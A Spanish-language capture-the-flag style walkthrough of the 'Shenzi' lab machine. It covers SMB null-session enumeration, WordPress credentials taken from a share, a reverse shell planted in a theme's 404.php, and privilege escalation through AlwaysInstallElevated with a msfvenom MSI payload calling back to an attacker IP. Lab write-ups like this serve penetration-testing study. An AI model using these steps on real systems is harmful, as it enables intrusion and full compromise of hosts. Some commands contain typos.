MAQUINA SHENZI (Enum SMB 'nullsesion' + Directory Web = Nombre del recurso compartido + WORDPRESS RC

Enumere los puertos de la maquina.

nmap -p- --open -sS --min-rate 3000 -n -vvv -Pn 192.168.104.55 -oG Basicscan.txt

Puertos abiertos:

21,80,135,139,443,445,3306,5040,7680,49664,49665,49666,49667,49668,49669

Realice una enumeración de los servicios y sus versiones.

nmap -p21,80,135,139,443,445,3306,5040,7680,49664,49665,49666,49667,49668,49669 -sCV

Busque si estos servicios contienen alguna vulnerabilidad utilizando scripts de nmap, pero no contenían ninguna vuln.

nmap -p21,80,135,139,443,445,3306,5040,7680,49664,49665,49666,49667,49668,49669 --sc

Utilice la herramienta nxc para verificar ante que windows me enfrento.

nxc smb 192.168.104.55

Con smbclient utilizando el parámetro -N para que me conecte a través de una null sesión y luego el parámetro -L para que liste los recursos compartidos del servicio SMB.

smbclient -N -L 192.168.104.55

Dentro de los recurso encontre una carpeta con nombre "Shenzi".

Con el siguiente comando a través de la null sesión accedí al servicio SMB.

smbclient -N \\192.168.104.55\\shenzi

Ya dentro de la carpeta, descargo el contenido con el comando "get"

Explore el archivo password el cual observe que contiene varias credenciales, la interesante es la del wordpress.

Ingrese al servicio web que corre tanto en el puerto 80 http como el en servicio web 443 http. En el puerto 80 encontré una web sobre XAMPP.

http://192.168.104.55/dashboard

Con wappalizer observe las tecnlogias que corren en el sitio web.

Encontré un apartado donde puedo observar el phpinfo.

Realice una búsqueda de directorios pero no encontré nada interesante.

Coloque el nombre del archivo compartido "shenzi" como directorio y me llevo a un wordpress.

En el puerto 80 al dirigirme al panel de sesión me devuelve un error por lo que realice lo mismo pero en el puerto 443 https.

Logre acceder al panel de sesión, seguido coloque las credenciales encontradas aquí y me adentre al panel como administrador.

Para realizar una revershell modifique el contenido del error 404.php editando los temas.

Una vez que agregue mi revershell maliciosa actualice la web seguidamente en mi kali coloque me puse en escucha con netcat.

rlwrap nc -nlvp 80 # mi kali

Ya listo en la URL me dirijo al apartado 404.php donde esta mi revershell

https://192.168.104.55/404.php

Esto va a devuelve la conexión a mi maquina kali.

Ya dentro de la maquina windows, me cree un carpeta de trabajo llamada /tmp, ahora subi el ejecutable winpeas y luego lo ejecuto.

Terminado de realizar el reconocimiento observe que tengo el permiso AlwaysInstallElevated.

Cuando la configuración AlwaysInstallElevated se establece en 1 en ambos el HKLM (HKEY_LOCAL_MACHINE) y HKCU (HKEY_CURRENT_USER) claves de registro, indica que los paquetes de instalación se están instalando con privilegios elevados

Para abusar de esto y poder escalar privilegios lo que realice fue crear un ejecutable con msfvenom.

msfvenom -p windows/x64/shell_reverse_rcp LHOST=192.168.45.233 LPORT=1234 -f msi > r

La extensión MSI:

Un archivo MSI es un archivo de instalación de Microsoft Windows Installer. Este tipo de archivo se utiliza para instalar, actualizar y desinstalar software en sistemas operativos Windows.

Luego subí el binario de netcat x64 como la revershell.msi

Ya teniendo estos 2 archivos me conecte en mi kali por el puerto donde cree la revershell.msi "1234" y seguido a eso ejecute la revershell.msi en la maquina windows.